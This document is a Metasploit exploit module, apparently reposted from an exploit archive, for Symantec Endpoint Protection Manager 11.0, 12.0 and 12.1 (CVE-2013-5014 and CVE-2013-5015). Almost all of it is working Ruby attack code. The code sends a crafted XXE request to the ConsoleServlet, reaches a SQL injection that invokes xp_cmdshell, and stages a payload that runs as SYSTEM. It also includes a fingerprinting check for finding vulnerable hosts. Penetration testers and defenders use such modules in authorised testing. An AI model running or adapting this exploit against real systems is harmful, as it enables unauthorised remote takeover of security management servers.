Symantec Endpoint Protection Manager Remote Command Execution Exploit

:
26.02.2014
:
Symantec Endpoint Protection Manager 11.0, 12.0, 12.1.
:

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/powershell'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include REXML
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Symantec Endpoint Protection Manager Remote Command Execution',
'Description' => %q{
This module exploits XXE and SQL injection flaws in Symantec Endpoint Protection Manager
versions 11.0, 12.0 and 12.1. When supplying a specially crafted XXE request an attacker
can reach SQL injection affected components. As xp_cmdshell is enabled in the included
database instance, it's possible to execute arbitrary system commands on the remote system
with SYSTEM privileges.
},
'Author' =>
[
'Stefan Viehbock', # Discovery
'Chris Graham', # PoC exploit
'xistence <xistence[at]0x90.nl>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-5014' ],
[ 'CVE', '2013-5015' ],
[ 'EDB', '31853'],
[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt' ]
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
['Windows VBS Stager', {}]
],
'Privileged' => true,
'DisclosureDate' => 'Feb 24 2014',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(9090),
OptString.new('TARGETURI', [true, 'The base path', '/'])
], self.class)
end

def check
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
})

if res && res.code == 200 && res.body =~ /Symantec Endpoint Protection Manager/ && res.body =~ /1995 - 2013 Symantec Corporation/
return Exploit::CheckCode::Appears
end

Exploit::CheckCode::Safe
end

def exploit
print_status("#{peer} - Sending payload")
# Execute the cmdstager, max length of the commands is ~3950
execute_cmdstager({:linemax => 3950})
end

def execute_command(cmd, opts = {})
# Convert the command data to hex, so we can use that in the xp_cmdshell. Else characters like '>' will be harder to bypass in the XML.
command = "0x#{Rex::Text.to_hex("cmd /c #{cmd}", '')}"

# Generate random 'xx032xxxx' sequence number.
seqnum = "#{rand_text_numeric(2)}032#{rand_text_numeric(4)}"

soap = soap_request(seqnum, command)

post_data = Rex::MIME::Message.new
post_data.add_part(soap, "text/xml", nil, "form-data; name=\"Content\"")
xxe = post_data.to_s

res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'),
'method' => 'POST',
'vars_get' => { 'ActionType' => 'ConsoleLog' },
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => xxe,
})

if res and res.body !~ /ResponseCode/
fail_with(Failure::Unknown, "#{peer} - Something went wrong.")
end
end

def soap_request(seqnum, command)
randpayload = rand_text_alpha(8+rand(8))
randxxe = rand_text_alpha(8+rand(8))
entity = "<!ENTITY #{randpayload} SYSTEM \"http://127.0.0.1:9090/servlet/ConsoleServlet?"
entity << "ActionType=ConfigServer&action=test_av&SequenceNum=#{seqnum}&Parameter=';call xp_cmdshell(#{command});--\" >"

xml = Document.new
xml.add(DocType.new('sepm', "[ METASPLOIT ]"))
xml.add_element("Request")
xxe = xml.root.add_element(randxxe)
xxe.text = "PAYLOAD"

xml_s = xml.to_s
xml_s.gsub!(/METASPLOIT/, entity) # To avoid html encoding
xml_s.gsub!(/PAYLOAD/, "&#{randpayload};") # To avoid html encoding

xml_s
end

end